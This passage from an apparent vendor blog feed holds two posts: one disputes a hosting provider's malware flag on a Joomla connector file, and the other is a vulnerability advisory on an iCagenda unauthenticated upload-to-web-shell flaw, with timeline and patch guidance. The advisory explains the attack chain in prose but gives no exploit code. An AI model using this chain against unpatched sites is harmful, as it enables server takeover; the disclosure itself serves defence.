&lt;p&gt;/homez.xxx/yourname/www/plugins/system/bfnetwork/bfnetwork/bfRestore.php&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That file is part of the connector plugin that mySites.guru installs to manage your Joomla site. It is not malware. Below is exactly what it does, why an automated scanner trips on it, and how to get your sites working again.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What bfRestore.php actually is&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;bfnetwork&lt;/code&gt; plugin is how mySites.guru talks to your Joomla site to run audits, take backups, apply updates, and restore from a backup when something goes wrong. It has been published openly under the GPL, the same licence as Joomla itself, for well over a decade. You can read every line of it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bfRestore.php&lt;/code&gt; is one of the smallest files in that plugin. Its entire job is to act as a bridge. When you ask mySites.guru to restore a site, this file receives a password-protected request and then hands the work over to Joomla&apos;s own restore code. Here is the part that matters, lifted straight from the file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ($_REQUEST[&apos;password&apos;] !== null &amp;amp;&amp;amp; $_REQUEST[&apos;task&apos;] !== null) {
    echo &apos;###&apos;;
    if (file_exists(dirname(__FILE__, 5) . &apos;/administrator/components/com_joomlaupdate/extract.php&apos;)) {
        require dirname(__FILE__, 5) . &apos;/administrator/components/com_joomlaupdate/extract.php&apos;;
        die;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read what that does. It checks for a password. If the password is missing, the file does nothing and returns a 404. If the password is present, it loads &lt;code&gt;com_joomlaupdate/extract.php&lt;/code&gt; and lets that do the actual extraction.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com_joomlaupdate/extract.php&lt;/code&gt; is not ours. It is Joomla&apos;s. It is the official extraction engine that ships inside every copy of Joomla, in the core Joomla Update component, copyright Open Source Matters. It is the exact code Joomla runs when you click &quot;Update&quot; in the administrator. So the file OVH calls malware is a password-gated doorway to Joomla&apos;s own updater.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The short version:&lt;/strong&gt; if &lt;code&gt;bfRestore.php&lt;/code&gt; is malware, then so is the update button in every Joomla site on the planet, because they run the same extraction code. OVH&apos;s own customers running stock Joomla are using that engine every time they update.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why an automated scanner gets this wrong&lt;/h2&gt;
&lt;p&gt;Signature and heuristic scanners do not understand code. They pattern-match. They look for words and shapes that appear in known-bad files: references to extracting archives, writing files, changing permissions, decoding data, calling out to the network. The problem is that legitimate backup and restore tools do exactly those things, because that is literally what a backup tool is for.&lt;/p&gt;
&lt;p&gt;This is not a controversial point. Akeeba, who build the most widely used backup tool in the Joomla world, &lt;a href=&quot;https://www.akeeba.com/documentation/akeeba-backup-joomla/security-scanner-false-positives.html&quot;&gt;document the same problem on their own site&lt;/a&gt;. Their restore code uses standard PHP functions like &lt;code&gt;base64_decode&lt;/code&gt; and &lt;code&gt;unpack&lt;/code&gt; to handle binary backup data, and scanners flag it, because malware authors use the same functions. The only way to scan source code for malice without false positives is to have an experienced human read every line, and no automated host scanner does that.&lt;/p&gt;
&lt;p&gt;So when OVH&apos;s scanner saw a file that takes a request, checks a password, and then runs an extraction engine, it pattern-matched on &quot;extraction&quot; and decided it had found something dangerous. It had not. It found a backup tool doing what backup tools do.&lt;/p&gt;
&lt;p&gt;We see the other side of this every day. Our &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content scanner&lt;/a&gt; flags files too, deliberately, using over 2,000 hand-written patterns, because casting a wide net is how you avoid missing the one file that matters. The difference is what happens next. A flag in mySites.guru is an invitation to look closer, not a verdict. We tell you which lines matched, let you &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;send the file to AI malware analysis&lt;/a&gt; for a second opinion, and let you compare it against the original. A flag is the start of an investigation. For OVH, the flag was the end of one.&lt;/p&gt;
&lt;h2&gt;The real problem is what OVH did next&lt;/h2&gt;
&lt;p&gt;Finding a false positive is forgivable. Every scanner produces them. What is not forgivable is the response.&lt;/p&gt;
&lt;p&gt;OVH did not quarantine the single file it objected to. It did not move &lt;code&gt;bfRestore.php&lt;/code&gt; aside and leave everything else running. Instead, according to &lt;a href=&quot;https://docs.ovhcloud.com/en/web-cloud/web-hosting/resolve-anomalous-activity/&quot;&gt;OVH&apos;s own documentation&lt;/a&gt;, when its scanner flags a file as malware it can disable three things across the whole hosting plan at once:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website access&lt;/li&gt;
&lt;li&gt;Email sending via PHP&lt;/li&gt;
&lt;li&gt;Outgoing requests (what OVH calls TCP OUT)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So one wrong guess about one file took out outgoing connections and PHP email for every website on that plan. Not the file. Not the site the file was on. Everything.&lt;/p&gt;
&lt;p&gt;If you run more than one site on an OVH hosting plan, picture what that means. A scanner misreads a backup helper on one site, and suddenly none of your sites can send an email or reach the internet. The customer did nothing wrong. The file did nothing wrong. The blast radius is the entire plan.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This is not security, it is collateral damage.&lt;/strong&gt; A competent host quarantines the specific file it objects to and tells you exactly which one, so you can review it and restore it if it is a false positive. Cutting all outbound traffic and email for every site on the plan, over one heuristic guess, is a blunt instrument that does more harm than the imaginary threat it is responding to.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;We tried to fix this at source, and OVH would not engage&lt;/h2&gt;
&lt;p&gt;The obvious thing to do, once we knew OVH&apos;s scanner was misreading our file, was to talk to OVH directly. We are the software provider. We can show them the source, explain what the file does, and ask them to stop flagging it for every customer at once. That is how you fix a false positive properly: at the source, so nobody else gets hit.&lt;/p&gt;
&lt;p&gt;We tried. OVH would not discuss it with us, because we are not an OVH customer. From their side, a vendor whose legitimate file their scanner is breaking has no standing to raise it. There is no channel for &quot;your detection is wrong, here is the proof, please correct it.&quot; You have to be the bill-payer on the affected plan to get anyone to listen, and even then, see below.&lt;/p&gt;
&lt;p&gt;So the affected customers tried, publicly, on X. The replies were the same first-line script every time: sorry for the difficulty, please send your customer ID and account details by private message, please open a support ticket so a technician can look. Polite, scripted, and going nowhere. Nobody at OVH would look at the file itself, acknowledge that the detection was wrong, or take ownership of correcting it centrally. Each customer was funnelled back into the same self-certify loop, told in effect to prove their own innocence one account at a time.&lt;/p&gt;
&lt;p&gt;That is the part that turns a forgivable false positive into a genuine failure. A scanner getting something wrong is a bug. Having no way for the wronged party to report it, no human willing to take ownership, and a support process that resets to line one no matter how many people raise the same issue, is a choice. The result is that every affected customer has to take manual action on their own plan, repeatedly, while the underlying detection stays broken and waits to fire again.&lt;/p&gt;
&lt;h2&gt;What breaks when outgoing connections and PHP mail are blocked&lt;/h2&gt;
&lt;p&gt;The OVH email frames the block as protection. In practice it breaks the things your sites rely on every day. With outgoing requests and PHP email disabled, here is what stops working:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contact and enquiry forms.&lt;/strong&gt; They submit, the visitor sees a thank-you, and the email never arrives. You lose leads and never know it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password reset emails.&lt;/strong&gt; Users get locked out of their own accounts because the reset email cannot be sent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Order and e-commerce emails.&lt;/strong&gt; Order confirmations, invoices, and shipping notices vanish. Customers think you have taken their money and disappeared.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update checks.&lt;/strong&gt; Joomla&apos;s &quot;Check for Updates&quot; and WordPress&apos;s update API both need outbound HTTPS. Block that, and your sites stop seeing security patches. The irony of a &quot;security measure&quot; that stops you receiving security updates writes itself. If your Joomla updates start failing too, our guide on the &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;&quot;offered update has expired&quot; error&lt;/a&gt; helps you tell a network block apart from a genuine TUF problem.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payment gateway callbacks.&lt;/strong&gt; Stripe webhooks, PayPal IPNs, and similar server-to-server messages cannot get through, so payments and subscriptions silently break.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Everything that calls an API.&lt;/strong&gt; reCAPTCHA verification, maps, CRM and newsletter sync, and remote management tools like ours all need to reach the outside world.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Many sites send their mail through PHP, which is exactly the path OVH blocks. If your forms or password resets have gone quiet, our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;verifying your Joomla email configuration&lt;/a&gt; walks you through confirming whether mail is the problem.&lt;/p&gt;
&lt;h2&gt;We are not the only ones, and that is the point&lt;/h2&gt;
&lt;p&gt;If this were a one-off misfire on a single obscure file, you could shrug it off. It is not.&lt;/p&gt;
&lt;p&gt;In the same week, on the same OVH hosting clusters, the same scanner flagged a completely different legitimate file: Akeeba Backup&apos;s &lt;code&gt;kickstart.txt&lt;/code&gt;. The pattern was identical. OVH detected the file, decided it was malware, and blocked outgoing connections and PHP email across the affected Joomla sites. Joomla developers reported it &lt;a href=&quot;https://forum.joomla.fr/forum/joomla-6-x/extensions-tierces-ac/2075294-akeebab-ovh-kickstart-txt&quot;&gt;on the Joomla.fr forum&lt;/a&gt; on the 17th and 18th of June 2026, days before our customers were hit.&lt;/p&gt;
&lt;p&gt;Two of the most widely used, openly published, GPL-licensed tools in the Joomla ecosystem, both flagged as malware by the same host&apos;s scanner, within days of each other. That is not a coincidence and it is not a problem with the tools. It is a scanner that cannot tell legitimate backup code from a threat, attached to an automatic response that breaks customer sites first and asks questions never.&lt;/p&gt;
&lt;p&gt;It is not only OVH, either. SiteGround&apos;s Anti-Bot AI does its own version of this, &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;serving our monitoring worker a captcha challenge instead of your site&lt;/a&gt;. Different host, different mechanism, same outcome: a legitimate, published, fixed IP treated as a threat, with the job of fixing it handed to you.&lt;/p&gt;
&lt;h2&gt;What to do if OVH has blocked your plan&lt;/h2&gt;
&lt;p&gt;You do not need to delete anything. Deleting &lt;code&gt;bfRestore.php&lt;/code&gt; only stops mySites.guru from managing, backing up, and restoring that site. The file is safe. Here is the fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Read the file path in OVH&apos;s email.&lt;/strong&gt; If it ends in &lt;code&gt;bfnetwork/bfRestore.php&lt;/code&gt;, it is the legitimate connector. Leave it where it is.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Log in to your OVH control panel&lt;/strong&gt; and open the affected Web Hosting plan. You will see an alert headed &quot;Abnormal Activity on Your Hosting&quot; with a button to lift the security measures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tick the confirmation box and lift the security measures.&lt;/strong&gt; OVH re-scans, and your outgoing connections and PHP email come back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify it worked.&lt;/strong&gt; Send a test through a contact form, run Joomla&apos;s &quot;Check for Updates,&quot; and confirm a password reset email arrives.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If OVH re-blocks the plan, open a ticket and ask them to whitelist the specific file rather than block the whole plan. You are not asking for a favour. You are asking them to fix a false positive in their scanner instead of breaking your sites over it.&lt;/p&gt;
&lt;h2&gt;How we help you tell a false positive from a real hack&lt;/h2&gt;
&lt;p&gt;The hardest part of a moment like this is the doubt. When a host emails you the word &quot;malware,&quot; you want to be certain before you trust a file. That is exactly the certainty mySites.guru is built to give you.&lt;/p&gt;
&lt;p&gt;When our audit flags a file, we do not leave you guessing. We show you the lines that matched, so you can read them yourself. We let you &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;send the file to AI analysis&lt;/a&gt; for a safe, suspicious, or malicious verdict with the problem lines pointed out. And for files like core Joomla code, we can compare what is on your server against the known-good original, byte for byte, so you can see for certain whether anything has actually changed. If you ever do find a genuine compromise, our &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walk you through the cleanup, and our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; checks every file in your webspace rather than just the ones a signature database knows about.&lt;/p&gt;
&lt;p&gt;That is the difference between a flag and a verdict. A scanner that pattern-matches and then cuts off your whole hosting plan has given you a verdict it has no business issuing. A tool that flags, explains, and lets you confirm has given you a flag you can actually act on.&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;bfRestore.php&lt;/code&gt; is fine. OVH&apos;s reaction to it was not.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.ovhcloud.com/en/web-cloud/web-hosting/resolve-anomalous-activity/&quot;&gt;OVH: How to react to abnormal activity detected on your web hosting&lt;/a&gt; - OVH&apos;s own documentation of the block-and-self-certify process.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/akeeba-backup-joomla/security-scanner-false-positives.html&quot;&gt;Akeeba: Security scanners reporting Akeeba Backup as malware&lt;/a&gt; - why legitimate backup and restore code triggers scanners.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomla.fr/forum/joomla-6-x/extensions-tierces-ac/2075294-akeebab-ovh-kickstart-txt&quot;&gt;Joomla.fr forum: OVH flagging Akeeba kickstart.txt&lt;/a&gt; - the same scanner hitting a different legitimate file in the same week.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.malwarebytes.com/blog/news/2017/09/explained-false-positives&quot;&gt;Malwarebytes Labs: Explained, false positives&lt;/a&gt; - how heuristic and signature scanners flag harmless files.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Joomla_Update_Problems&quot;&gt;Joomla documentation: Joomla Update Problems&lt;/a&gt; - why blocking outbound HTTPS stops update checks.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Joomla</category><category>Security</category><category>Malware</category><category>Hosting</category><enclosure url="https://mysites.guru/_astro/ovh-flagged-our-plugin-as-malware.DxI8rOfo.png" length="0" type="image/png"/></item><item><title>Zero Day Vulnerability Found in iCagenda Joomla Extension</title><link>https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/</guid><description>We found and confirmed an unauthenticated file upload that gave attackers full remote code execution on Joomla 6 sites running iCagenda. It was already being exploited. The developer shipped 4.0.8 the same day.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A client forwarded us an access log on a Sunday morning with one line that mattered. A bot, calling itself &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;, had posted something to their Joomla site and then immediately gone looking for a &lt;code&gt;.php&lt;/code&gt; file in the events component&apos;s upload folder. That is the shape of an attack that already knows it has won. By the end of the day we had confirmed a critical zero day in &lt;a href=&quot;https://www.icagenda.com/&quot;&gt;iCagenda&lt;/a&gt;, reproduced it from start to finish, reported it to the developer, and the developer had shipped a fix.&lt;/p&gt;
&lt;p&gt;iCagenda is a popular events and calendar component for Joomla, by JoomliC. The flaw let anyone, with no login at all, reach the code behind the public event submission form. On Joomla 6 that meant uploading a PHP web shell and running it, which is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other people. The component versions affected were every release up to and including 4.0.7, which was the latest that morning. The developer&apos;s own advisory later scoped the upload-to-shell to Joomla 6 specifically, because earlier Joomla versions block unsafe file uploads in core by default. It was already being exploited in the wild, which is what makes it a zero day rather than a quiet finding.&lt;/p&gt;
&lt;p&gt;The patch is &lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;iCagenda 4.0.8&lt;/a&gt;, released on 15 June 2026, with 3.9.15 following the next day for the legacy branch. If you run any Joomla site with iCagenda installed, update it now, then read on for what the bug actually did and how to check whether you were already hit.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-48939&lt;/strong&gt; - CVSS 4.0 score: &lt;strong&gt;10.0 Critical&lt;/strong&gt; (CWE-284: Improper Access Control)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated file upload to remote code execution&lt;/strong&gt; in iCagenda&apos;s frontend event submission form, no login required. Per JoomliC, the upload-to-shell triggers on &lt;strong&gt;Joomla 6&lt;/strong&gt; only, because earlier Joomla versions block unsafe uploads in core by default&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;second, lower-severity issue&lt;/strong&gt; in the same submit flow let guests create unapproved events with no login on &lt;strong&gt;every Joomla version&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Affects iCagenda &lt;strong&gt;3.2.1 up to and including 3.9.14&lt;/strong&gt; (3.x line) and &lt;strong&gt;every 4.x release up to and including 4.0.7&lt;/strong&gt;. Fixed in &lt;strong&gt;4.0.8&lt;/strong&gt; (released 15 June 2026) and &lt;strong&gt;3.9.15&lt;/strong&gt; (released 16 June 2026)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Already exploited in the wild&lt;/strong&gt; when we found it, by an automated scanner identifying as &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;. JoomliC reports automated attacks running since 15 June 2026, 8am UTC&lt;/li&gt;
&lt;li&gt;We confirmed it by code review, reproduced the upload-to-shell end to end on Joomla 6, and sent the developer a safe proof of concept. &lt;strong&gt;JoomliC shipped the fix the same day&lt;/strong&gt;, and we reviewed the new code to confirm it is real&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 4.0.8 (or 3.9.15 if on the legacy branch) on every affected site, then check for compromise.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;This is a fast-moving disclosure. The fix exists, but the full technical detail is going public now, which means opportunistic scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 4.0.8 before you do anything else.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Check Your Joomla Sites for iCagenda with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a zero day drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites are running it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the iCagenda version is not realistic. The bots do not wait for you to finish the list.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running iCagenda, grouped by version, in seconds. Filter for anything below 4.0.8 and you have your work list.&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 4.0.8 across every affected site in one batch instead of a day of logging into admin panels one at a time. A zero day becomes a triage you finish over a coffee.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
&lt;p&gt;The vulnerability lived in iCagenda&apos;s frontend &quot;Submit an Event&quot; form, the feature that lets visitors propose events for the calendar. The form has a file attachment field. The processing code took the uploaded file, kept the file extension the visitor supplied, and wrote it straight to a folder under the web root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;images/icagenda/frontend/attachments/your-file.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;iCagenda did not maintain its own allow-list of permitted extensions on this path, did not block &lt;code&gt;.php&lt;/code&gt;, and did not check that the file was actually the image type it claimed to be. So the dangerous file reached the disk. Whether the server would then run it depended on Joomla&apos;s own upload filtering. JoomliC&apos;s &lt;a href=&quot;https://www.joomlic.com/news/icagenda-security-update&quot;&gt;advisory&lt;/a&gt; is clear that the upload-to-shell only triggers on Joomla 6, because every Joomla version before 6 blocks unsafe file uploads in core by default. On Joomla 6 that core safety net was not in play on this path, so you could upload &lt;code&gt;shell.php&lt;/code&gt;, browse to it, and the server would run it. That is the whole chain, and it is as bad as web vulnerabilities get.&lt;/p&gt;
&lt;p&gt;There was a second half to the bug, and this one reached further. iCagenda has a setting that controls who is allowed to submit an event, and by default it is set to &quot;Registered&quot;, meaning logged-in users only. You would reasonably assume that setting protected the submission. It did not. The access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.&lt;/p&gt;
&lt;p&gt;That means an attacker did not need an account, and did not even need the submit form to be publicly linked anywhere. They harvested a form token from any public iCagenda page, such as the events list, and posted straight to the processing endpoint. The &quot;Registered only&quot; setting was bypassed completely, on every Joomla version, not just Joomla 6. On Joomla 6 that bypass led to the file upload and a shell. On Joomla 2.5, 3, 4 and 5, where core blocked the malicious upload, it still let an anonymous visitor create events that were saved but not approved, sitting in the queue with no login required. Lower stakes, same root cause: an authorization check in the wrong place. A site with no public submit menu at all was still reachable.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;We are deliberately not publishing a copy-and-paste exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update, not to test it on someone else&apos;s site.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;We Saw It Being Used Before There Was a Fix&lt;/h2&gt;
&lt;p&gt;This was not found by reading code in the abstract. The first evidence was three lines in a client&apos;s real access log, in sequence: grab a session, post the malicious upload to the submit endpoint, then fetch the planted shell at the exact path the component writes attachments to. The user agent was &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;, which tells you this is tooling built specifically to grind through lists of Joomla sites running iCagenda.&lt;/p&gt;
&lt;p&gt;That sequence is the textbook signature of a working exploit, not a probe. JoomliC&apos;s own advisory dates the automated attacks from 15 June 2026, 8am UTC, which lines up with what we saw. It is also why we did not sit quietly and wait for a patch before warning people. A flaw being actively used in the wild, with no fixed version to update to, is the definition of a zero day, and the only responsible move was to get the warning out while pushing the developer for a fix.&lt;/p&gt;
&lt;p&gt;To confirm it was the component and not something else on the client&apos;s server, we reproduced the whole attack on a clean local Joomla 6 install running the exact 4.0.7 build, using a safe proof of concept that only wrote a harmless marker file. It worked on defaults, with nothing special configured. No guest submission toggle, no special category, nothing. The upload succeeded from an anonymous session because the access check was in the wrong place, and Joomla 6 did not stop the file the way earlier versions would have.&lt;/p&gt;
&lt;h2&gt;Update to 4.0.8 (or 3.9.15), and Mind the Old Files&lt;/h2&gt;
&lt;p&gt;The fix is iCagenda 4.0.8 for the current line, released 15 June 2026, or 3.9.15 for sites still on the legacy 3.x branch, released the following day on 16 June. We did not just trust the version number, we read the new code. It properly closes both halves of the bug: the upload now goes through Joomla&apos;s own &lt;code&gt;MediaHelper&lt;/code&gt; allow-list, which rejects &lt;code&gt;.php&lt;/code&gt; and other dangerous extensions, and the access check is now enforced on the processing path, not only in the view. That second fix is the one that matters on Joomla 2.5 through 5, where the upload was already blocked by core but the access bypass was not. Both fixes are real. Updating is the right move regardless of which branch or Joomla version you are on.&lt;/p&gt;
&lt;p&gt;You have three ways to do it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla admin:&lt;/strong&gt; update iCagenda the normal way through the Joomla updater&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru dashboard:&lt;/strong&gt; push the update across several sites at once without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct download:&lt;/strong&gt; grab 4.0.8 or 3.9.15 from &lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;icagenda.com&lt;/a&gt; and install it over the top&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The one thing that matters is that you land on 4.0.8/3.9.15 or later. If you took emergency action before the patch existed and renamed or removed the component, reinstall it from a clean download rather than putting the old files back, otherwise you are restoring the vulnerable version.&lt;/p&gt;
&lt;p&gt;One trap worth calling out: unpublishing iCagenda in the Joomla admin does not protect the site. The submit endpoint stays reachable and the uploaded files stay both writable and web-served regardless of whether the component is published. Before 4.0.8 existed, the only reliable stop short of patching was to rename the &lt;code&gt;com_icagenda&lt;/code&gt; folders so Joomla could not route to them. Now that there is a real fix, just update.&lt;/p&gt;
&lt;h2&gt;Updating Closes the Door. It Does Not Undo a Break-In&lt;/h2&gt;
&lt;p&gt;This is the step people skip, and it is the one that matters most if a site was already targeted. Updating to 4.0.8 stops the next attempt. It does nothing about a shell that was uploaded last week. Because this was being actively exploited before the patch, you have to assume your Joomla 6 sites were hit and check them. Sites on Joomla 5 and earlier could not have received a PHP shell through this path, since core blocked the upload, but it still costs nothing to look, and any unapproved events sitting in the queue are a sign the bypass was used.&lt;/p&gt;
&lt;p&gt;The thing to look for is any file that should not exist under &lt;code&gt;images/icagenda/frontend/attachments/&lt;/code&gt;. That folder is only ever meant to hold uploaded event attachments. A &lt;code&gt;.php&lt;/code&gt; file in there is a web shell until proven otherwise. mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;file scanner on every snapshot&lt;/a&gt;, twice a day, on every connected Joomla site, and flags known web shell signatures and files that have no business being there. Open each affected site in the dashboard and check its &lt;strong&gt;Hacked?&lt;/strong&gt; section.&lt;/p&gt;
&lt;p&gt;If you find something, treat that site as compromised and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean it properly&lt;/a&gt;: keep a copy of anything suspicious for evidence, remove it, change your Joomla passwords and secrets, and audit the whole site rather than just the iCagenda folder. Anyone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;iCagenda is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; were both unauthenticated code execution in widely-installed extensions. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was another file upload. The underlying pattern, where an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or form endpoint skips its authorization check&lt;/a&gt;, is one of the most common ways Joomla sites get hacked through no fault of the site owner.&lt;/p&gt;
&lt;p&gt;The lesson is not &quot;stop using extensions&quot;. Extensions are what make Joomla useful. The lesson is that the security of your sites depends on code other people wrote, shipped on someone else&apos;s schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites are exposed and be able to patch them all at once. That is the entire reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched before the scanner arrived, not the one reading their access log afterwards.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;15 June 2026, 8am UTC:&lt;/strong&gt; Per JoomliC, automated attacks targeting iCagenda installs begin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15 June 2026:&lt;/strong&gt; A client forwards an access log showing live exploitation by &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15 June 2026:&lt;/strong&gt; We confirm the flaw by code review of 4.0.7 and reproduce the upload-to-shell end to end on a clean local Joomla 6 install with a safe proof of concept&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15 June 2026:&lt;/strong&gt; We send a responsible-disclosure report and the safe proof of concept to the developer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15 June 2026:&lt;/strong&gt; JoomliC releases iCagenda 4.0.8, flagged as a critical security release. We review the new code and confirm both halves of the bug are properly fixed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;16 June 2026:&lt;/strong&gt; JoomliC releases 3.9.15 for the legacy 3.x branch&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20 June 2026:&lt;/strong&gt; CVE-2026-48939 published by the Joomla security team&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Credit to JoomliC for turning a same-day fix around on a critical report. That is exactly how responsible disclosure is supposed to go.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;CVE-2026-48939&lt;/strong&gt;, published 20 June 2026 by the Joomla security team.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-48939&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
